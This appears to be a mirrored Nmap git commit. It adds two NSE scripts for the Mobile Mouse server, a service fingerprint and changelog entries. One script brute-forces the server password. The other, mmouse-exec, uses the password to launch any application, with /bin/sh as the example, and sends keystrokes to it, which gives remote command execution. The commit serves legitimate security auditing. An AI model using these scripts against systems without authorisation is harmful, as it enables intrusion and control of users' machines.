mirror of
https://github.com/nmap/nmap.git
synced 2025-12-10 09:49:05 +00:00
o [NSE] Added the script mmouse-exec that connects to a Mobile Mouse server,
starts an application, and sends a sequence of keystrokes to it. [Patrik Karlsson] o [NSE] Added the script mmouse-brute that performs brute force password auditing against the Mobile Mouse service. [Patrik Karlsson]
This commit is contained in:
@@ -1,5 +1,12 @@
|
|||||||
# Nmap Changelog ($Id$); -*-text-*-
|
# Nmap Changelog ($Id$); -*-text-*-
|
||||||
|
|
||||||
|
o [NSE] Added the script mmouse-exec that connects to a Mobile Mouse server,
|
||||||
|
starts an application, and sends a sequence of keystrokes to it. [Patrik
|
||||||
|
Karlsson]
|
||||||
|
|
||||||
|
o [NSE] Added the script mmouse-brute that performs brute force password
|
||||||
|
auditing against the Mobile Mouse service. [Patrik Karlsson]
|
||||||
|
|
||||||
o [NSE] Added the script cups-queue-info that lists the contents of a remote
|
o [NSE] Added the script cups-queue-info that lists the contents of a remote
|
||||||
CUPS printer queue. [Patrik Karlsson]
|
CUPS printer queue. [Patrik Karlsson]
|
||||||
|
|
||||||
|
|||||||
@@ -8338,6 +8338,8 @@ match printer m|^Invalid protocol request \(71\): GGET / HTTP/1\.0\r\n\n$| p/Sun
|
|||||||
|
|
||||||
match zftp-admin m|^220 \.\r\n500 ' / HTTP/1\.0': command not understood\.\r\n| p/zFTPServer ftpd admin/
|
match zftp-admin m|^220 \.\r\n500 ' / HTTP/1\.0': command not understood\.\r\n| p/zFTPServer ftpd admin/
|
||||||
|
|
||||||
|
match mmouse m|^HTTP/1\.0\x20200\x20OK\x20\n\x20Server:\x20Mobile\x20Air\x20Mouse\x20Server\x20\n\x20Content-Type:\x20text/html\x20\n\x20Content-Length:\x20344\n\n<HTML><HEAD><TITLE>Success!</TITLE><meta\x20name=\"viewport\"\x20content=\"width=device-width,user-scalable=no\"\x20/></HEAD><BODY\x20BGCOLOR=#000000><br><br><p\x20style=\"font:12pt\x20arial,geneva,sans-serif;\x20text-align:center;\x20color:green;\x20font-weight:bold;\"\x20>The\x20Mobile\x20Air\x20Mouse\x20server\x20running\x20on\x20\"([^\"]*)\"\x20was\x20able\x20to\x20receive\x20your\x20request\.</p></BODY></HTML>$| i/server name: $1/
|
||||||
|
|
||||||
# Know the device, but not the service. Port 515.
|
# Know the device, but not the service. Port 515.
|
||||||
# match unknown m|^\x02| p/Conceptronics CPSERVU print server/ d/print server/
|
# match unknown m|^\x02| p/Conceptronics CPSERVU print server/ d/print server/
|
||||||
|
|
||||||
|
|||||||
109
scripts/mmouse-brute.nse
Normal file
109
scripts/mmouse-brute.nse
Normal file
@@ -0,0 +1,109 @@
|
|||||||
|
description = [[
|
||||||
|
Performs brute force password auditing against the RPA Tech Mobile Mouse
|
||||||
|
Server.
|
||||||
|
]]
|
||||||
|
|
||||||
|
---
|
||||||
|
-- @usage
|
||||||
|
-- nmap --script mobilemouse-brute -p 51010 <host>
|
||||||
|
--
|
||||||
|
-- @output
|
||||||
|
-- PORT STATE SERVICE
|
||||||
|
-- 51010/tcp open unknown
|
||||||
|
-- | mmouse-brute:
|
||||||
|
-- | Accounts
|
||||||
|
-- | vanilla - Valid credentials
|
||||||
|
-- | Statistics
|
||||||
|
-- |_ Performed 1199 guesses in 23 seconds, average tps: 47
|
||||||
|
--
|
||||||
|
|
||||||
|
author = "Patrik Karlsson"
|
||||||
|
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
|
||||||
|
categories = {"intrusive", "brute"}
|
||||||
|
|
||||||
|
local shortport = require('shortport')
|
||||||
|
local brute = require('brute')
|
||||||
|
|
||||||
|
local arg_timeout = stdnse.get_script_args(SCRIPT_NAME .. ".timeout") or 5000
|
||||||
|
|
||||||
|
portrule = shortport.port_or_service(51010, "mmouse", "tcp")
|
||||||
|
|
||||||
|
Driver = {
|
||||||
|
|
||||||
|
new = function(self, host, port)
|
||||||
|
local o = { host = host, port = port }
|
||||||
|
setmetatable(o, self)
|
||||||
|
self.__index = self
|
||||||
|
return o
|
||||||
|
end,
|
||||||
|
|
||||||
|
connect = function( self )
|
||||||
|
self.socket = nmap.new_socket()
|
||||||
|
self.socket:set_timeout(arg_timeout)
|
||||||
|
return self.socket:connect(self.host, self.port)
|
||||||
|
end,
|
||||||
|
|
||||||
|
login = function( self, username, password )
|
||||||
|
local devid = "0123456789abcdef0123456789abcdef0123456"
|
||||||
|
local devname = "Lord Vaders iPad"
|
||||||
|
local suffix = "2".."\30".."2".."\04"
|
||||||
|
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
|
||||||
|
|
||||||
|
local status = self.socket:send(auth)
|
||||||
|
if ( not(status) ) then
|
||||||
|
local err = brute.Error:new( "Failed to send data to server" )
|
||||||
|
err:setRetry( true )
|
||||||
|
return false, err
|
||||||
|
end
|
||||||
|
|
||||||
|
local status, data = self.socket:receive_buf("\04", true)
|
||||||
|
|
||||||
|
if (data:match("^CONNECTED\30([^\30]*)") == "NO" ) then
|
||||||
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
|
elseif ( data:match("^CONNECTED\30([^\30]*)") == "YES" ) then
|
||||||
|
return true, brute.Account:new("", password, creds.State.VALID)
|
||||||
|
end
|
||||||
|
|
||||||
|
local err = brute.Error:new("An unexpected error occured, retrying ...")
|
||||||
|
err:setRetry(true)
|
||||||
|
return false, err
|
||||||
|
end,
|
||||||
|
|
||||||
|
disconnect = function(self)
|
||||||
|
self.socket:close()
|
||||||
|
end,
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
local function hasPassword(host, port)
|
||||||
|
local driver = Driver:new(host, port)
|
||||||
|
if ( not(driver:connect()) ) then
|
||||||
|
error("Failed to connect to server")
|
||||||
|
end
|
||||||
|
local status = driver:login(nil, "nmap")
|
||||||
|
driver:disconnect()
|
||||||
|
|
||||||
|
return not(status)
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
action = function(host, port)
|
||||||
|
|
||||||
|
if ( not(hasPassword(host, port)) ) then
|
||||||
|
return "\n Server has no password"
|
||||||
|
end
|
||||||
|
|
||||||
|
local status, result
|
||||||
|
local engine = brute.Engine:new(Driver, host, port )
|
||||||
|
|
||||||
|
engine.options.script_name = SCRIPT_NAME
|
||||||
|
engine.options.firstonly = true
|
||||||
|
engine.options:setOption( "passonly", true )
|
||||||
|
|
||||||
|
-- mouse server does not behave well when multiple threads are guessing
|
||||||
|
engine:setMaxThreads(1)
|
||||||
|
|
||||||
|
status, result = engine:start()
|
||||||
|
|
||||||
|
return result
|
||||||
|
end
|
||||||
168
scripts/mmouse-exec.nse
Normal file
168
scripts/mmouse-exec.nse
Normal file
@@ -0,0 +1,168 @@
|
|||||||
|
description = [[
|
||||||
|
Connects to the mobile mouse server, starts an application and sends a sequence
|
||||||
|
of keys to it. Any application that the user has access to can be started and
|
||||||
|
the key sequence is sent to the application after it has been started.
|
||||||
|
]]
|
||||||
|
|
||||||
|
---
|
||||||
|
-- @usage
|
||||||
|
-- nmap -p 51010 <host> --script mmouse-exec \
|
||||||
|
-- --script-args application='/bin/sh',keys='ping -c 5 127.0.0.1'
|
||||||
|
--
|
||||||
|
-- @output
|
||||||
|
-- PORT STATE SERVICE REASON
|
||||||
|
-- 51010/tcp open unknown syn-ack
|
||||||
|
-- | mmouse-exec:
|
||||||
|
-- |_ Attempted to start application "/bin/sh" and sent "ping -c 5 127.0.0.1"
|
||||||
|
--
|
||||||
|
-- @args mmouse-exec.password The password needed to connect to the mobile
|
||||||
|
-- mouse server
|
||||||
|
-- @args mmouse-exec.application The application which is to be started at the
|
||||||
|
-- server
|
||||||
|
-- @args mmouse-exec.keys The key sequence to send to the started application
|
||||||
|
-- @args mmouse-exec.delay Delay in seconds to wait before sending the key
|
||||||
|
-- sequence. (default: 3 seconds)
|
||||||
|
--
|
||||||
|
|
||||||
|
author = "Patrik Karlsson"
|
||||||
|
categories = {"intrusive"}
|
||||||
|
dependencies = {"mmouse-brute"}
|
||||||
|
|
||||||
|
local shortport = require('shortport')
|
||||||
|
local creds = require('creds')
|
||||||
|
|
||||||
|
local arg_password = stdnse.get_script_args(SCRIPT_NAME .. '.password')
|
||||||
|
local arg_app = stdnse.get_script_args(SCRIPT_NAME .. '.application')
|
||||||
|
local arg_keys = stdnse.get_script_args(SCRIPT_NAME .. '.keys')
|
||||||
|
local arg_delay = stdnse.get_script_args(SCRIPT_NAME .. '.delay') or 3
|
||||||
|
|
||||||
|
portrule = shortport.port_or_service(51010, "mmouse", "tcp")
|
||||||
|
|
||||||
|
local function receiveData(socket, cmd)
|
||||||
|
local status, data = ""
|
||||||
|
repeat
|
||||||
|
status, data = socket:receive_buf("\04", true)
|
||||||
|
if ( not(status) ) then
|
||||||
|
return false, "Failed to receive data from server"
|
||||||
|
end
|
||||||
|
until( cmd == nil or data:match("^" .. cmd) )
|
||||||
|
return true, data
|
||||||
|
end
|
||||||
|
|
||||||
|
local function authenticate(socket, password)
|
||||||
|
local devid = "0123456789abcdef0123456789abcdef0123456"
|
||||||
|
local devname = "Lord Vaders iPad"
|
||||||
|
local suffix = "2".."\30".."2".."\04"
|
||||||
|
local auth = ("CONNECT\30%s\30%s\30%s\30%s"):format(password, devid, devname, suffix)
|
||||||
|
|
||||||
|
local status = socket:send(auth)
|
||||||
|
if ( not(status) ) then
|
||||||
|
return false, "Failed to send data to server"
|
||||||
|
end
|
||||||
|
|
||||||
|
local status, data = receiveData(socket)
|
||||||
|
if ( not(status) ) then
|
||||||
|
return false, "Failed to receive data from server"
|
||||||
|
end
|
||||||
|
|
||||||
|
local success, os = data:match("^CONNECTED\30([^\30]*)\30([^\30]*)")
|
||||||
|
|
||||||
|
if ( success == "YES" ) then
|
||||||
|
if ( os ~= 'MAC' ) then
|
||||||
|
return false, "Non MAC platform detected, script has only been tested on MAC"
|
||||||
|
end
|
||||||
|
if ( not(socket:send("SETOPTION\30PRESENTATION\30".."1\04")) ) then
|
||||||
|
return false, "Failed to send request to server"
|
||||||
|
end
|
||||||
|
if ( not(socket:send("SETOPTION\30CLIPBOARDSYNC\30".."1\04")) ) then
|
||||||
|
return false, "Failed to send request to server"
|
||||||
|
end
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
return false, "Authentication failed"
|
||||||
|
end
|
||||||
|
|
||||||
|
local function processSwitchMode(socket, swmode)
|
||||||
|
local m, o, a1, a2, p = swmode:match("^(.-)\30(.-)\30(.-)\30(.-)\30(.-)\04$")
|
||||||
|
if ( m ~= "SWITCHMODE") then
|
||||||
|
print("lklklk", m, o)
|
||||||
|
return false, "Failed to parse SWITCHMODE"
|
||||||
|
end
|
||||||
|
|
||||||
|
local str = ("SWITCHED\30%s\30%s\30%s\04"):format(o, a1, a2)
|
||||||
|
local status = socket:send(str)
|
||||||
|
if ( not(status) ) then
|
||||||
|
return false, "Failed to send data to server"
|
||||||
|
end
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
local function executeCmd(socket, app, keys)
|
||||||
|
local exec = ("SENDPROGRAMACTION\30RUN\30%s\04"):format(app)
|
||||||
|
local status = socket:send(exec)
|
||||||
|
if ( not(status) ) then
|
||||||
|
return false, "Failed to send data to server"
|
||||||
|
end
|
||||||
|
|
||||||
|
local status, data = receiveData(socket)
|
||||||
|
if ( not(status) ) then
|
||||||
|
return false, "Failed to receive data from server"
|
||||||
|
end
|
||||||
|
|
||||||
|
if ( arg_delay ) then
|
||||||
|
stdnse.sleep(tonumber(arg_delay))
|
||||||
|
end
|
||||||
|
|
||||||
|
if ( keys ) then
|
||||||
|
local cmd = ("KEYSTRING\30%s\n\04"):format(keys)
|
||||||
|
if ( not(socket:send(cmd)) ) then
|
||||||
|
return false, "Failed to send data to the server"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
|
||||||
|
local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||||
|
|
||||||
|
action = function(host, port)
|
||||||
|
|
||||||
|
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||||
|
local credentials = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
|
||||||
|
local password = arg_password or (credentials and credentials.pass) or ""
|
||||||
|
|
||||||
|
if ( not(arg_app) ) then
|
||||||
|
return fail(("No application was specified (see %s.application)"):format(SCRIPT_NAME))
|
||||||
|
end
|
||||||
|
|
||||||
|
if ( not(arg_keys) ) then
|
||||||
|
return fail(("No keys were specified (see %s.keys)"):format(SCRIPT_NAME))
|
||||||
|
end
|
||||||
|
|
||||||
|
local socket = nmap.new_socket()
|
||||||
|
socket:set_timeout(10000)
|
||||||
|
local status, err = socket:connect(host, port)
|
||||||
|
if ( not(status) ) then
|
||||||
|
return fail("Failed to connect to server")
|
||||||
|
end
|
||||||
|
|
||||||
|
status, err = authenticate(socket, password)
|
||||||
|
if ( not(status) ) then
|
||||||
|
return fail(err)
|
||||||
|
end
|
||||||
|
|
||||||
|
local data
|
||||||
|
status, data = receiveData(socket, "SWITCHMODE")
|
||||||
|
if ( not(status) ) then
|
||||||
|
return fail("Failed to receive expected response from server")
|
||||||
|
end
|
||||||
|
|
||||||
|
if ( not(processSwitchMode(socket, data)) ) then
|
||||||
|
return fail("Failed to process SWITCHMODE command")
|
||||||
|
end
|
||||||
|
|
||||||
|
if ( not(executeCmd(socket, arg_app, arg_keys)) ) then
|
||||||
|
return fail("Failed to execute application")
|
||||||
|
end
|
||||||
|
|
||||||
|
return ("\n Attempted to start application \"%s\" and sent \"%s\""):format(arg_app, arg_keys)
|
||||||
|
end
|
||||||
@@ -202,6 +202,8 @@ Entry { filename = "membase-brute.nse", categories = { "brute", "intrusive", } }
|
|||||||
Entry { filename = "membase-http-info.nse", categories = { "discovery", "safe", } }
|
Entry { filename = "membase-http-info.nse", categories = { "discovery", "safe", } }
|
||||||
Entry { filename = "memcached-info.nse", categories = { "discovery", "safe", } }
|
Entry { filename = "memcached-info.nse", categories = { "discovery", "safe", } }
|
||||||
Entry { filename = "metasploit-xmlrpc-brute.nse", categories = { "brute", "intrusive", } }
|
Entry { filename = "metasploit-xmlrpc-brute.nse", categories = { "brute", "intrusive", } }
|
||||||
|
Entry { filename = "mmouse-brute.nse", categories = { "brute", "intrusive", } }
|
||||||
|
Entry { filename = "mmouse-exec.nse", categories = { "intrusive", } }
|
||||||
Entry { filename = "modbus-discover.nse", categories = { "discovery", "intrusive", } }
|
Entry { filename = "modbus-discover.nse", categories = { "discovery", "intrusive", } }
|
||||||
Entry { filename = "mongodb-brute.nse", categories = { "brute", "intrusive", } }
|
Entry { filename = "mongodb-brute.nse", categories = { "brute", "intrusive", } }
|
||||||
Entry { filename = "mongodb-databases.nse", categories = { "default", "discovery", "safe", } }
|
Entry { filename = "mongodb-databases.nse", categories = { "default", "discovery", "safe", } }
|
||||||
|
|||||||
Reference in New Issue
Block a user